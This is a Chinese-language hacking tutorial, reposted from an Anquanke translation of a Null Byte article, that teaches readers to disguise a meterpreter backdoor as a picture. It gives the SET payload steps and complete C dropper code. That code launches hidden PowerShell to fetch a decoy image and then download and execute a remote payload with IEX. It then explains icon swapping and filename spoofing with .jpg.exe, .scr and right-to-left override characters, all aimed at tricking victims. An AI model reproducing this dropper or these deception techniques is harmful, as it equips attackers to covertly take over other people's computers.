【技术分享】图片伪装病毒的奇淫技巧
转载自:http://bobao.360.cn/learning/detail/3256.html
前言
在这篇文章中,我将教大家如何将类似于 meterpreter 的后门脚本代码插入到图片中,利用图片来对其进行伪装。话不多说,下面我们来动手操作!
Step 1 创建 Payload
Part I: 创建 Powershell Payload
我将使用 Social Engineering Toolkit 来创建我们所需的 powershell payload 。使用如下命令,打开它:
1
|
setoolkit |
接着我们依次输入 1 选择 "social engineering attacks",输入 9 选择 "powershell attack vectors",最后输入 1 选择 "powershell alphanumeric shellcode injector"。
这里会要求你提供 LHOST 本地 IP ,如果你不清楚本地 IP 是多少,可以使用 ifconfig 命令来查看:
这里我的无线网卡为 eth0 ,LHOST 为我高亮显示的 10.0.0.13。
下面会询问你用于本地侦听的端口,这里我就使用 4444 端口作为本地侦听端口。当然除了 4444 端口,你们还可以根据自己喜好来选择任意端口!注意:不要与其他以使用端口冲突!
完成以上操作后,最后会询问你是否开始侦听,这里我们选择 NO 稍后手动来开启侦听!这样关于 SET 上操作就算结束了。
现在我们要做的是将生成的 payload 移动到 apache webserver 目录下。操作命令如下:
1
|
mv /root/.set/reports/powershell/x86_powershell_injection.txt /var/www/html/payload.txt |
提示:如果你用的仍是老版本的 kali 而不是 kali 2.0 你可以使用以下命令完成以上操作:
1
|
mv /root/.set/reports/powershell/x86_powershell_injection.txt /var/www/payload.txt |
我们需要一张图片用于向目标用户展示,伪装我们的 payload 使其成功被运行。这里我选择使用以下图片:
我将图片保存成名为 screenshot.jpg 的文件,并将其存放在 apache webserver 目录下。( kali 1 版本目录位置为:/var/www kali 2.0 为: /var/www/html)在后面我们将会使用到它。
接着我们来启动 apache 服务:
1
|
service apache2 start |
Part II: 创建可执行文件
为了创建木马病毒,这里我使用 notepad 和 MinGW's "gcc" 编译器。病毒代码如下:
1
2
3
4
5
6
|
#include<stdio.h> main() { system("powershell.exe -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://10.0.0.13/screenshot.jpg', 'C:\\Users\\Public\\screenshot.jpg') & start C:\\Users\\Public\\screenshot.jpg & powershell.exe \"IEX ((new-object net.webclient).downloadstring('http://10.0.0.13/payload.txt'))\""); return 0; } |
注意:将以上代码的 "10.0.0.13" IP 修改成你的 LHOST 地址!
这段代码将会从我的 apache 服务器上下载 screenshot.jpg 文件,并利用默认视图工具打开它。因此在该病毒被第一次运行,并不会引起目标的过多怀疑!
将该病毒文件保存成 "evil.c" 的 C 语言文件,并使编译器对其进行编译。这里我使用我最爱的 GCC 来进行编译:
1
|
gcc.exe D:\Hacking\evil.c -o D:\Hacking\evil.exe |
这样我们就得到了一个可执行文件,一切准备就绪下面让我们来运行我们的恶意 payload !
Step 2 让可执行文件看起来像张图片
首先我们来对该可执行文件进行伪装,使其看起来像张图片。当前生成的默认 图标如下:
显而易见这样很容易被人发现,下面让我们来改变它。我需要将 screenshot.jpg 图片转换成 icon 图标,这里我使用在线转换工具来完成 :online converter。
接着,我将使用 Resource Hacker 这个小工具来将原本的默认图标修改成我们生成的图标。我们打开 Resource Hacker 依次打开 File --> Open:
然后选择我们在 step 1 创建的可执行文件,点击 Add Binary 或 Image Resource 按钮来选择添加我们的 .icon 文件。
最后点击 Add Resource 和 Save 保存!
完成以上操作后,再让我们回过头来看看现在的图标:
但是到此我们的工作还没做完。
Step 3 对可执行文件重命名
Possibility I:典型的 ".jpg.exe"
默认 windows 隐藏文件的已知文件扩展名,我们需要将其勾选取消,让它显示:
我们将文件重命名为 "evil.jpg.exe" 如果目标用户仍然保持以上的默认设置,他将看到如下形式命名的文件:
Possibility II:Screenshot.scr
在 Possibility I 的方法中我们难免会被发现,因为我们不能总依赖于目标用户是否进行相关的设置。因此另外个方案就是改变文件的扩展名将 ".exe" 变成 ".scr"。如下:
不要担 .scr 扩展名仍会像 .exe 文件一样被执行,并不会对其原有功能产生任何破坏。唯一不同的是,这将使目标用户误认为它是一个快照截图,从而达到欺骗目标的效果。
Possibility III:Unitrix
Unitrix 可以对文件名进行从右至左 (Right-to-Left) 的字符重写 (RLO) ,让受害者以为这不是一个可执行文件。例如:原本名为 "exe.jpg" 文件会被重写为 "gpj.exe",这样可以更好的达到欺骗受害目标的目的。下面我来做个示范:
首先我们在可执行文件上右击鼠标,并选择 'Rename' 重命名,选中 "geometric agpj.scr":
将光标移动至 gpj 前,右击鼠标并悬停在 "Insert Unicode Control Character" 插入统一控制字符编码,并选择 字符重写 (RLO) :
当我们成功执行以上操作后,我们将会看到图片被重写为了 "geometric arcs.jpg"。
注意:虽然通过这种技术方式,可以是我们的文件不具有可执行性文件的签名,但是有时它仍会被杀毒软件主动报告为恶意程序。原因在于它的文件名存在 字符重写 (RLO) 。
Step 4 建立本地侦听
最后我们需要做的是,建立一个本地侦听程序,用来建立与受害目标的 meterpreter session 。使用以下命令启动 metasploit framework :
1
|
msfconsole |
首次加载我们接着输入:
1
|
use multi/handler |
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://null-byte.wonderhowto.com/how-to/hide-virus-inside-fake-picture-0168183/
作者:ssooking 联系邮箱:c3Nvb2tpbmdAeWVhaC5uZXQ=
若无特殊说明,所发博文皆为原创,转载请务必注明出处、保留原文地址。欢迎交流分享!如果您有任何问题,请联系我!